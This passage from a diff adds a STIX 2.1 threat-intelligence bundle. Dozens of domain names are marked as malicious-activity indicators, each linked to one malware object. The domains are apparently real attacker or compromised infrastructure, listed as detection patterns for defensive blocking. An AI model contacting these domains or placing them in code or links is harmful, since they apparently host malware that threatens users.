"malicious-activity" + ], + "pattern": "[domain-name:value='monstertrick.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.672061Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04ef868e-2bd3-4e7e-b565-46178e4d5d19", + "created": "2023-03-29T12:58:44.67265Z", + "modified": "2023-03-29T12:58:44.67265Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ba09fdc-50cf-4fdf-900e-75938f3cd0ca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38a81a5a-fa22-4213-a96c-fac054ed5c8a", + "created": "2023-03-29T12:58:44.672818Z", + "modified": "2023-03-29T12:58:44.672818Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spenderprancing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.672818Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea9c7fee-f4a1-406a-a1e2-de47c8bce022", + "created": "2023-03-29T12:58:44.673529Z", + "modified": "2023-03-29T12:58:44.673529Z", + "relationship_type": "indicates", + "source_ref": "indicator--38a81a5a-fa22-4213-a96c-fac054ed5c8a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55ce0cbf-2c97-43c5-8a61-3db232b9fd34", + "created": "2023-03-29T12:58:44.673708Z", + "modified": "2023-03-29T12:58:44.673708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scriblezone.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.673708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89631606-cb2b-4824-91cd-f6d4c25d013c", + "created": "2023-03-29T12:58:44.674302Z", + "modified": "2023-03-29T12:58:44.674302Z", + "relationship_type": "indicates", + "source_ref": "indicator--55ce0cbf-2c97-43c5-8a61-3db232b9fd34", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d24366a-0cff-4232-be19-b8a1beea6987", + "created": "2023-03-29T12:58:44.674473Z", + "modified": "2023-03-29T12:58:44.674473Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rephraselance.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.674473Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f96b0fcf-1227-4b46-a1b5-24211e3c5650", + "created": "2023-03-29T12:58:44.675068Z", + "modified": "2023-03-29T12:58:44.675068Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d24366a-0cff-4232-be19-b8a1beea6987", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--414f530d-5251-4857-9ec6-10369cd1c29c", + "created": "2023-03-29T12:58:44.675237Z", + "modified": "2023-03-29T12:58:44.675237Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overduepentagon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.675237Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75834eb6-64d4-4509-bc78-72604c24071d", + "created": "2023-03-29T12:58:44.675829Z", + "modified": "2023-03-29T12:58:44.675829Z", + "relationship_type": "indicates", + "source_ref": "indicator--414f530d-5251-4857-9ec6-10369cd1c29c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6e5128f-06de-46a8-ac84-3bc793c26a42", + "created": "2023-03-29T12:58:44.675997Z", + "modified": "2023-03-29T12:58:44.675997Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fairchancefit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.675997Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c416b47c-bfe7-4b28-b874-1d89baedc91c", + "created": "2023-03-29T12:58:44.676591Z", + "modified": "2023-03-29T12:58:44.676591Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6e5128f-06de-46a8-ac84-3bc793c26a42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a74398c-41a4-4c05-847a-0de98a79748c", + "created": "2023-03-29T12:58:44.676759Z", + "modified": "2023-03-29T12:58:44.676759Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sacredconcrete.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.676759Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5760bc1b-b28d-4cbe-9961-4db3831b23d4", + "created": "2023-03-29T12:58:44.677352Z", + "modified": "2023-03-29T12:58:44.677352Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a74398c-41a4-4c05-847a-0de98a79748c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--21b1927e-e0ea-4322-ae37-ff22b9d5ee6c", + "created": "2023-03-29T12:58:44.67752Z", + "modified": "2023-03-29T12:58:44.67752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='passportpassivism.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.67752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e538e9d-e8bf-43eb-8a02-277fd2c1d1fc", + "created": "2023-03-29T12:58:44.678122Z", + "modified": "2023-03-29T12:58:44.678122Z", + "relationship_type": "indicates", + "source_ref": "indicator--21b1927e-e0ea-4322-ae37-ff22b9d5ee6c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6dc41fa1-01c3-47ed-ac3f-20d3b5bf524a", + "created": "2023-03-29T12:58:44.678294Z", + "modified": "2023-03-29T12:58:44.678294Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sindo-news.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.678294Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49f472ab-eb5b-450f-b9c3-5f374156a51e", + "created": "2023-03-29T12:58:44.678884Z", + "modified": "2023-03-29T12:58:44.678884Z", + "relationship_type": "indicates", + "source_ref": "indicator--6dc41fa1-01c3-47ed-ac3f-20d3b5bf524a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eaec3d06-6147-4fc6-a563-dad0e6900a4d", + "created": "2023-03-29T12:58:44.679052Z", + "modified": "2023-03-29T12:58:44.679052Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paradisegoal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.679052Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d3d63e3-c0f1-4248-bb77-053974b23703", + "created": "2023-03-29T12:58:44.679644Z", + "modified": "2023-03-29T12:58:44.679644Z", + "relationship_type": "indicates", + "source_ref": "indicator--eaec3d06-6147-4fc6-a563-dad0e6900a4d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22315c66-d39d-4568-9806-d30c9a0538e7", + "created": "2023-03-29T12:58:44.679812Z", + "modified": "2023-03-29T12:58:44.679812Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='debugcamisole.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.679812Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--96934089-fb3b-49f9-b680-8869933d874a", + "created": "2023-03-29T12:58:44.68052Z", + "modified": "2023-03-29T12:58:44.68052Z", + "relationship_type": "indicates", + "source_ref": "indicator--22315c66-d39d-4568-9806-d30c9a0538e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f90b34e0-a78d-4b90-a42f-8c369721d2c2", + "created": "2023-03-29T12:58:44.680692Z", + "modified": "2023-03-29T12:58:44.680692Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aluminummollusk.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.680692Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e4e4685-8386-4376-8209-a0587e065d67", + "created": "2023-03-29T12:58:44.681285Z", + "modified": "2023-03-29T12:58:44.681285Z", + "relationship_type": "indicates", + "source_ref": "indicator--f90b34e0-a78d-4b90-a42f-8c369721d2c2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ac7f2635-bb03-43da-9792-442d7bc3a8bd", + "created": "2023-03-29T12:58:44.681452Z", + "modified": "2023-03-29T12:58:44.681452Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carportproofing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.681452Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--038603bb-01cf-4aee-a8f3-21b60f8651ad", + "created": "2023-03-29T12:58:44.682047Z", + "modified": "2023-03-29T12:58:44.682047Z", + "relationship_type": "indicates", + "source_ref": "indicator--ac7f2635-bb03-43da-9792-442d7bc3a8bd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee25096a-b547-4a19-bc79-100ad3b94494", + "created": "2023-03-29T12:58:44.682215Z", + "modified": "2023-03-29T12:58:44.682215Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tummycasino.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.682215Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3713c904-5c1a-4c78-a746-29cd2861712a", + "created": "2023-03-29T12:58:44.6828Z", + "modified": "2023-03-29T12:58:44.6828Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee25096a-b547-4a19-bc79-100ad3b94494", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--341e9cdb-73cb-4349-a509-c5551e181e4d", + "created": "2023-03-29T12:58:44.682967Z", + "modified": "2023-03-29T12:58:44.682967Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='condensevictory.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.682967Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71f3a249-bdb2-40f9-a6ae-e8279b219af0", + "created": "2023-03-29T12:58:44.683564Z", + "modified": "2023-03-29T12:58:44.683564Z", + "relationship_type": "indicates", + "source_ref": "indicator--341e9cdb-73cb-4349-a509-c5551e181e4d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25eb38ee-1f74-42ff-93cb-7b54d4686a02", + "created": "2023-03-29T12:58:44.683733Z", + "modified": "2023-03-29T12:58:44.683733Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='salvagecornflake.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.683733Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cec94fa8-42e1-4d89-83b4-f6f39a3d14b4", + "created": "2023-03-29T12:58:44.684329Z", + "modified": "2023-03-29T12:58:44.684329Z", + "relationship_type": "indicates", + "source_ref": "indicator--25eb38ee-1f74-42ff-93cb-7b54d4686a02", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d127b5e-0ad2-4220-9f9a-3159f809b8c8", + "created": "2023-03-29T12:58:44.684495Z", + "modified": "2023-03-29T12:58:44.684495Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='extrudinguncouth.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.684495Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e804194a-cffd-4b59-a9ec-5c1e0eed7896", + "created": "2023-03-29T12:58:44.68509Z", + "modified": "2023-03-29T12:58:44.68509Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d127b5e-0ad2-4220-9f9a-3159f809b8c8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b54f7fa-0fa2-4825-828b-8f0ee23f15ec", + "created": "2023-03-29T12:58:44.685258Z", + "modified": "2023-03-29T12:58:44.685258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flagstoneblatantly.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.685258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e214c946-bbc2-4887-901d-162feddb56c5", + "created": "2023-03-29T12:58:44.685861Z", + "modified": "2023-03-29T12:58:44.685861Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b54f7fa-0fa2-4825-828b-8f0ee23f15ec", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8fa88181-9f70-4bf1-bfc9-6bb67585cc6a", + "created": "2023-03-29T12:58:44.686033Z", + "modified": "2023-03-29T12:58:44.686033Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='runtimesecrets.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.686033Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04a44db9-82f3-46bb-b80b-7f52869fa1b5", + "created": "2023-03-29T12:58:44.686627Z", + "modified": "2023-03-29T12:58:44.686627Z", + "relationship_type": "indicates", + "source_ref": "indicator--8fa88181-9f70-4bf1-bfc9-6bb67585cc6a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b113ddb-d63f-4776-bec3-8f15ca3a2868", + "created": "2023-03-29T12:58:44.686796Z", + "modified": "2023-03-29T12:58:44.686796Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glimmerpelican.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.686796Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5efc9a0a-4196-4317-9e60-f5f77eda8f13", + "created": "2023-03-29T12:58:44.687504Z", + "modified": "2023-03-29T12:58:44.687504Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b113ddb-d63f-4776-bec3-8f15ca3a2868", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16304630-a5c0-4765-89ea-51f53e486b1b", + "created": "2023-03-29T12:58:44.687675Z", + "modified": "2023-03-29T12:58:44.687675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='watchplutonium.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.687675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--939c4559-cbb9-4bfe-b34c-a1d689dd9a83", + "created": "2023-03-29T12:58:44.688269Z", + "modified": "2023-03-29T12:58:44.688269Z", + "relationship_type": "indicates", + "source_ref": "indicator--16304630-a5c0-4765-89ea-51f53e486b1b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--61d905f1-41b1-403a-b572-d5d787c5c84c", + "created": "2023-03-29T12:58:44.688439Z", + "modified": "2023-03-29T12:58:44.688439Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='acetonenemesis.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.688439Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--19d99e40-9adb-4770-9dd4-6a07988bcef0", + "created": "2023-03-29T12:58:44.689034Z", + "modified": "2023-03-29T12:58:44.689034Z", + "relationship_type": "indicates", + "source_ref": "indicator--61d905f1-41b1-403a-b572-d5d787c5c84c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d95e46aa-ffc5-43ac-9b2c-a58a87c6fe68", + "created": "2023-03-29T12:58:44.689203Z", + "modified": "2023-03-29T12:58:44.689203Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='imprintshortwave.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.689203Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b272ffc5-8b20-4d34-99bd-ab3d725a62d2", + "created": "2023-03-29T12:58:44.689801Z", + "modified": "2023-03-29T12:58:44.689801Z", + "relationship_type": "indicates", + "source_ref": "indicator--d95e46aa-ffc5-43ac-9b2c-a58a87c6fe68", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da7db5d7-e81b-4b6f-aa59-b1a6851a033a", + "created": "2023-03-29T12:58:44.689969Z", + "modified": "2023-03-29T12:58:44.689969Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='washroomeasiness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.689969Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--12982e55-2575-4bd2-a2c7-9f43724f7226", + "created": "2023-03-29T12:58:44.690563Z", + "modified": "2023-03-29T12:58:44.690563Z", + "relationship_type": "indicates", + "source_ref": "indicator--da7db5d7-e81b-4b6f-aa59-b1a6851a033a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8aa8f4ea-a2a5-4ad3-b532-aef5e4522dd1", + "created": "2023-03-29T12:58:44.69073Z", + "modified": "2023-03-29T12:58:44.69073Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shownradiation.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.69073Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db1ae820-29bc-45e6-911c-94254aa5a480", + "created": "2023-03-29T12:58:44.691332Z", + "modified": "2023-03-29T12:58:44.691332Z", + "relationship_type": "indicates", + "source_ref": "indicator--8aa8f4ea-a2a5-4ad3-b532-aef5e4522dd1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77ab28a4-3823-4439-9782-95719272f315", + "created": "2023-03-29T12:58:44.691501Z", + "modified": "2023-03-29T12:58:44.691501Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='takeleaveon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.691501Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef60b45c-0295-4c3a-87ba-e9e7973548e3", + "created": "2023-03-29T12:58:44.692088Z", + "modified": "2023-03-29T12:58:44.692088Z", + "relationship_type": "indicates", + "source_ref": "indicator--77ab28a4-3823-4439-9782-95719272f315", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a37720c-9e96-407e-9f51-44249d66695e", + "created": "2023-03-29T12:58:44.692255Z", + "modified": "2023-03-29T12:58:44.692255Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wildfowlexploit.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.692255Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba73ea7b-5c4d-475e-8194-7cab54570db8", + "created": "2023-03-29T12:58:44.69285Z", + "modified": "2023-03-29T12:58:44.69285Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a37720c-9e96-407e-9f51-44249d66695e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05a00297-1e64-4454-80c1-ee5d390e60ec", + "created": "2023-03-29T12:58:44.693018Z", + "modified": "2023-03-29T12:58:44.693018Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glorifiedsatin.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.693018Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ee021a2-9d43-469a-a099-2a6ea1fea77a", + "created": "2023-03-29T12:58:44.693622Z", + "modified": "2023-03-29T12:58:44.693622Z", + "relationship_type": "indicates", + "source_ref": "indicator--05a00297-1e64-4454-80c1-ee5d390e60ec", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5b8b582-4eee-4bf7-9eea-3c46d3690c80", + "created": "2023-03-29T12:58:44.69379Z", + "modified": "2023-03-29T12:58:44.69379Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stillvase.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.69379Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cdaf310e-165a-405b-b4ab-f8fb17173b82", + "created": "2023-03-29T12:58:44.694489Z", + "modified": "2023-03-29T12:58:44.694489Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5b8b582-4eee-4bf7-9eea-3c46d3690c80", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--244ec8de-5d7d-45dd-8c29-85521d10241e", + "created": "2023-03-29T12:58:44.694663Z", + "modified": "2023-03-29T12:58:44.694663Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='greenpillers.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.694663Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d4f04e5-6651-4ff9-8a53-f9e163d0a39c", + "created": "2023-03-29T12:58:44.695259Z", + "modified": "2023-03-29T12:58:44.695259Z", + "relationship_type": "indicates", + "source_ref": "indicator--244ec8de-5d7d-45dd-8c29-85521d10241e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c398cdb1-1511-4e18-a8a3-4e07b25305ef", + "created": "2023-03-29T12:58:44.695426Z", + "modified": "2023-03-29T12:58:44.695426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockpapergate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.695426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--475642ed-b75c-4fa2-8dce-07bd7c65085e", + "created": "2023-03-29T12:58:44.69602Z", + "modified": "2023-03-29T12:58:44.69602Z", + "relationship_type": "indicates", + "source_ref": "indicator--c398cdb1-1511-4e18-a8a3-4e07b25305ef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6ab9ad47-9629-4d64-9eda-04e71d73dd16", + "created": "2023-03-29T12:58:44.696189Z", + "modified": "2023-03-29T12:58:44.696189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='untrueduller.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.696189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--144b68a5-ef1f-41b6-881c-29639b43a120", + "created": "2023-03-29T12:58:44.696776Z", + "modified": "2023-03-29T12:58:44.696776Z", + "relationship_type": "indicates", + "source_ref": "indicator--6ab9ad47-9629-4d64-9eda-04e71d73dd16", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb989d13-bb7b-4d1e-be52-2edc6f367d26", + "created": "2023-03-29T12:58:44.696943Z", + "modified": "2023-03-29T12:58:44.696943Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='frictionawoke.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.696943Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69e20362-779c-48b7-8459-9ab86b4dd92d", + "created": "2023-03-29T12:58:44.697536Z", + "modified": "2023-03-29T12:58:44.697536Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb989d13-bb7b-4d1e-be52-2edc6f367d26", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--64660aca-644f-49ef-939f-ac8c75debb62", + "created": "2023-03-29T12:58:44.697706Z", + "modified": "2023-03-29T12:58:44.697706Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sagedramatic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.697706Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--283599da-53f4-4679-84e7-8dcaa8adbc28", + "created": "2023-03-29T12:58:44.698295Z", + "modified": "2023-03-29T12:58:44.698295Z", + "relationship_type": "indicates", + "source_ref": "indicator--64660aca-644f-49ef-939f-ac8c75debb62", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7dd78be4-a936-4d5c-94ad-9e3d2b63f6cd", + "created": "2023-03-29T12:58:44.698463Z", + "modified": "2023-03-29T12:58:44.698463Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shelvingoverhand.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.698463Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f571615-9620-4ff4-aae2-41168db6293a", + "created": "2023-03-29T12:58:44.699058Z", + "modified": "2023-03-29T12:58:44.699058Z", + "relationship_type": "indicates", + "source_ref": "indicator--7dd78be4-a936-4d5c-94ad-9e3d2b63f6cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d1b61e01-d7dd-40a8-ad06-8ed0d6fbd966", + "created": "2023-03-29T12:58:44.699228Z", + "modified": "2023-03-29T12:58:44.699228Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kgfconstruction.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.699228Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30208cc6-b21e-48c5-bbf9-c55f3aa4d237", + "created": "2023-03-29T12:58:44.699839Z", + "modified": "2023-03-29T12:58:44.699839Z", + "relationship_type": "indicates", + "source_ref": "indicator--d1b61e01-d7dd-40a8-ad06-8ed0d6fbd966", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e9f82ca2-18ec-4fa8-a105-b2b467d1ee8d", + "created": "2023-03-29T12:58:44.700009Z", + "modified": "2023-03-29T12:58:44.700009Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speciesarray.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.700009Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--721b9e11-3d53-4c6d-afac-0ac9bfab66cf", + "created": "2023-03-29T12:58:44.700598Z", + "modified": "2023-03-29T12:58:44.700598Z", + "relationship_type": "indicates", + "source_ref": "indicator--e9f82ca2-18ec-4fa8-a105-b2b467d1ee8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 